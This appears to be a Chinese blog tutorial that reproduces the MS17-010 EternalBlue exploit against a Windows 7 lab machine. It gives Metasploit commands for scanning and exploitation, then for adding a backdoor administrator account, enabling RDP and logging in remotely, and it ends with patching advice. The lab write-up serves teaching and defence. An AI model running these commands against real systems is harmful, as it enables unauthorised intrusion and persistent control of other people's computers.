MS17-010(Eternal blue永恒之蓝)漏洞利用+修复方法

2024-06-22 17:12

本文主要是介绍MS17-010(Eternal blue永恒之蓝)漏洞利用+修复方法,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

一、漏洞简介

漏洞原理

影响版本

二、漏洞复现

三、复现过程

1、扫描局域网内的C段主机(主机发现)

扫描结果:

2.使用MSF的永恒之蓝漏洞模块

3.对主机进行扫描,查看其是否有永恒之蓝漏洞

4.准备攻击

四、漏洞利用

五、提升权限

1.创建新用户

2.将用户添加至管理员群组

3.查看端口的开启情况

六、远程登录

七、漏洞修复


一、漏洞简介

永恒之蓝(EternalBlue)是一个由美国国家安全局(NSA)开发的漏洞利用工具,最初在2017年由“影子经纪人”(Shadow Brokers)组织泄露。这个漏洞利用工具利用了Windows操作系统中的一个安全漏洞(CVE-2017-0144),允许攻击者远程执行代码,无需用户交互即可远程控制受感染的计算机。具体来说,它利用了Windows Server Message Block (SMB) v1协议中的漏洞,使得攻击者可以在目标系统上执行恶意代码,甚至可以在未经授权的情况下传播自身。

永恒之蓝漏洞的爆发引发了全球范围内的关注,尤其是在2017年的“惊叹号勒索软件”(WannaCry ransomware)攻击中,该漏洞被大规模利用,造成了数十万台计算机的感染和停机事件。这次攻击揭示了许多组织和公司在保护其网络安全方面的薄弱之处,也促使了更广泛的安全漏洞修复和网络防护措施的加强。

漏洞原理

永恒之蓝漏洞的利用基于Windows操作系统中的一个漏洞(CVE-2017-0144),主要涉及以下几个方面的技术细节:

  1. Windows SMB服务漏洞:漏洞利用了Windows操作系统中的Server Message Block (SMB) v1协议的一个安全漏洞。SMB协议是Windows系统用于文件和打印机共享的网络协议。

  2. 远程执行代码(RCE):漏洞允许攻击者通过发送特制的网络数据包,无需用户交互即可远程执行恶意代码。这使得攻击者可以获取目标系统的控制权。

  3. 无需身份验证:攻击者可以在不需要凭据或者认证的情况下利用漏洞,这使得漏洞的利用更为危险和普遍。

影响版本

永恒之蓝漏洞主要影响以下版本的Windows操作系统:

  • Windows Vista

  • Windows Server 2008

  • Windows 7

  • Windows Server 2008 R2

二、漏洞复现

环境

  1. 攻击机:Linux kali (IP:192.168.220.128)

  2. 靶机:Windows 7 旗舰版(IP;192.168.220.133)

环境说明:Windows 7 防火墙关闭,445端口打开,两台主机之间可以ping通

三、复现过程

1、扫描局域网内的C段主机(主机发现)

扫描结果:
  1. 192.168.220.2

    • 只有一个端口开放:53/tcp(domain)。这可能是一台运行DNS服务的设备。

  2. 192.168.220.128

    • 所有扫描的1000个端口都处于“ignored states”状态,表示这台主机在扫描时未给出具体的端口状态信息。这可能是由于网络或主机的防火墙设置等原因导致的。

  3. 192.168.220.133

    • 多个端口开放,包括80/tcp(http)、135/tcp(msrpc)、139/tcp(netbios-ssn)、445/tcp(microsoft-ds)、5357/tcp(wsdapi)以及一系列高端口(49152-49165/tcp)。

    • 这表明这台主机可能是一台Windows主机,同时运行了HTTP服务、Microsoft RPC服务、NetBIOS服务、以及一些未知用途的高端口服务。

2.使用MSF的永恒之蓝漏洞模块

打开MSF

msfconsole

这个界面每次都不相同。

搜索漏洞代码:ms17_010

search ms17_010

这里可以看到26个可以利用的模块及其描述:

  1. exploit/windows/smb/ms17_010_eternalblue

    • 揭露日期:2017-03-14

    • 等级:average

    • 检查:Yes

    • 描述:MS17-010 EternalBlue SMB远程Windows内核池损坏漏洞利用,用于执行远程代码。

    目标包括:

    • Windows 7

    • Windows Embedded Standard 7

    • Windows Server 2008 R2

    • Windows 8

    • Windows 8.1

    • Windows Server 2012

    • Windows 10 Pro

    • Windows 10 Enterprise Evaluation

    这个模块利用了SMB服务上的漏洞,通常使用的是TCP端口445。

  2. exploit/windows/smb/ms17_010_psexec

    • 揭露日期:2017-03-14

    • 等级:normal

    • 检查:Yes

    • 描述:MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB远程Windows代码执行漏洞利用。

    目标包括:

    • 自动目标

    • PowerShell

    • 本地上传(Native upload)

    • MOF上传(MOF upload)

    这个模块利用了SMB服务上的漏洞,同样使用的是TCP端口445。

  3. auxiliary/admin/smb/ms17_010_command

    • 揭露日期:2017-03-14

    • 等级:normal

    • 检查:No

    • 描述:MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB远程Windows命令执行辅助模块。

    这个模块用于执行远程命令,同样是基于SMB服务上的漏洞,端口也是TCP端口445。

  4. auxiliary/scanner/smb/smb_ms17_010

    • 揭露日期:未指定

    • 等级:normal

    • 检查:No

    • 描述:MS17-010 SMB远程执行代码检测辅助模块。

    这个模块用于检测目标系统是否受到MS17-010漏洞的影响,同样基于SMB服务,端口是TCP端口445。

3.对主机进行扫描,查看其是否有永恒之蓝漏洞

使用模块24开始攻击:use 24,也可以用use scanner/smb/smb_ms17_010

options查看需要设置的参数

设置目标主机set rhost 192.168.220.133,设置成功会返回rhost的值,用run开始

  • VULNERABLE to MS17-010:扫描结果显示目标主机存在MS17-010漏洞,即永恒之蓝漏洞。

  • 操作系统信息:目标主机运行的是 Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit) 操作系统。

4.准备攻击

使用模块0开始攻击:use 0,也可以用use windows/smb/ms17_010_eternalblue

查看需要设置的参数:options

设置目标ip地址

set rhost 192.168.220.133

run

看到win说明成功

四、漏洞利用

获取靶机shell

shell

乱码是因为linux和windows的编码方式不同导致

使用代码:chcp 65001

查看IP:ipconfig

五、提升权限

1.创建新用户

net user bai 123456 /add

bai是用户名,12456是密码

2.将用户添加至管理员群组

net localgroup administrators bai /add

3.查看端口的开启情况

netstat -ano

4.开启3389端口

输入exit退出命令行,在meterpreter中输入run post/windows/manage/enable_rdp

查看端口

成功开启3389端口

六、远程登录

打开一个新终端,输入rdesktop 192.168.220.133

中途会让确认,输入yes确认

选择其他用户

输入我们刚才新加的用户名和密码

登录成功!

七、漏洞修复

永恒之蓝漏洞(EternalBlue)是一个影响Windows操作系统的严重安全漏洞,可被用于远程执行代码攻击。微软已经发布了修复补丁来解决这个漏洞,以及其他相关的安全更新。以下是修复永恒之蓝漏洞的主要方法:

  1. 安装官方补丁

    • 确保系统上安装了最新的安全补丁。微软已经发布了修复EternalBlue漏洞的补丁。您可以访问微软的官方网站或使用Windows Update来获取并安装最新的安全补丁。

  2. 更新操作系统

    • 确保操作系统是最新的版本,并且所有的安全更新和补丁都已安装。及时更新操作系统是保持系统安全的重要步骤之一。

  3. 禁用不必要的服务

    • 如果不需要使用远程桌面服务(RDP)或SMB服务,可以考虑禁用或限制它们的使用。尽可能减少系统暴露在外部攻击面。

  4. 配置防火墙

    • 在防火墙上设置规则,限制远程访问和网络流量,防止未经授权的访问和攻击。

  5. 网络隔离

    • 将重要的系统和网络基础设施隔离在内部网络中,减少来自外部网络的直接访问。

  6. 使用安全软件

    • 安装和使用有效的安全软件,如防病毒软件、防火墙和入侵检测系统(IDS),帮助识别和阻止潜在的威胁。

这篇关于MS17-010(Eternal blue永恒之蓝)漏洞利用+修复方法的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1084909

相关文章

Java中流式并行操作parallelStream的原理和使用方法

《Java中流式并行操作parallelStream的原理和使用方法》本文详细介绍了Java中的并行流(parallelStream)的原理、正确使用方法以及在实际业务中的应用案例,并指出在使用并行流... 目录Java中流式并行操作parallelStream0. 问题的产生1. 什么是parallelS

MySQL数据库双机热备的配置方法详解

《MySQL数据库双机热备的配置方法详解》在企业级应用中,数据库的高可用性和数据的安全性是至关重要的,MySQL作为最流行的开源关系型数据库管理系统之一,提供了多种方式来实现高可用性,其中双机热备(M... 目录1. 环境准备1.1 安装mysql1.2 配置MySQL1.2.1 主服务器配置1.2.2 从

Python版本信息获取方法详解与实战

《Python版本信息获取方法详解与实战》在Python开发中,获取Python版本号是调试、兼容性检查和版本控制的重要基础操作,本文详细介绍了如何使用sys和platform模块获取Python的主... 目录1. python版本号获取基础2. 使用sys模块获取版本信息2.1 sys模块概述2.1.1

Python实现字典转字符串的五种方法

《Python实现字典转字符串的五种方法》本文介绍了在Python中如何将字典数据结构转换为字符串格式的多种方法,首先可以通过内置的str()函数进行简单转换;其次利用ison.dumps()函数能够... 目录1、使用json模块的dumps方法:2、使用str方法:3、使用循环和字符串拼接:4、使用字符

Python版本与package版本兼容性检查方法总结

《Python版本与package版本兼容性检查方法总结》:本文主要介绍Python版本与package版本兼容性检查方法的相关资料,文中提供四种检查方法,分别是pip查询、conda管理、PyP... 目录引言为什么会出现兼容性问题方法一:用 pip 官方命令查询可用版本方法二:conda 管理包环境方法

Linux云服务器手动配置DNS的方法步骤

《Linux云服务器手动配置DNS的方法步骤》在Linux云服务器上手动配置DNS(域名系统)是确保服务器能够正常解析域名的重要步骤,以下是详细的配置方法,包括系统文件的修改和常见问题的解决方案,需要... 目录1. 为什么需要手动配置 DNS?2. 手动配置 DNS 的方法方法 1:修改 /etc/res

JavaScript对象转数组的三种方法实现

《JavaScript对象转数组的三种方法实现》本文介绍了在JavaScript中将对象转换为数组的三种实用方法,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友... 目录方法1:使用Object.keys()和Array.map()方法2:使用Object.entr

SpringBoot中ResponseEntity的使用方法举例详解

《SpringBoot中ResponseEntity的使用方法举例详解》ResponseEntity是Spring的一个用于表示HTTP响应的全功能对象,它可以包含响应的状态码、头信息及响应体内容,下... 目录一、ResponseEntity概述基本特点:二、ResponseEntity的基本用法1. 创

java中判断json key是否存在的几种方法

《java中判断jsonkey是否存在的几种方法》在使用Java处理JSON数据时,如何判断某一个key是否存在?本文就来介绍三种方法,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的... 目http://www.chinasem.cn录第一种方法是使用 jsONObject 的 has 方法

java中ssh2执行多条命令的四种方法

《java中ssh2执行多条命令的四种方法》本文主要介绍了java中ssh2执行多条命令的四种方法,包括分号分隔、管道分隔、EOF块、脚本调用,可确保环境配置生效,提升操作效率,具有一定的参考价值,感... 目录1 使用分号隔开2 使用管道符号隔开3 使用写EOF的方式4 使用脚本的方式大家平时有没有遇到自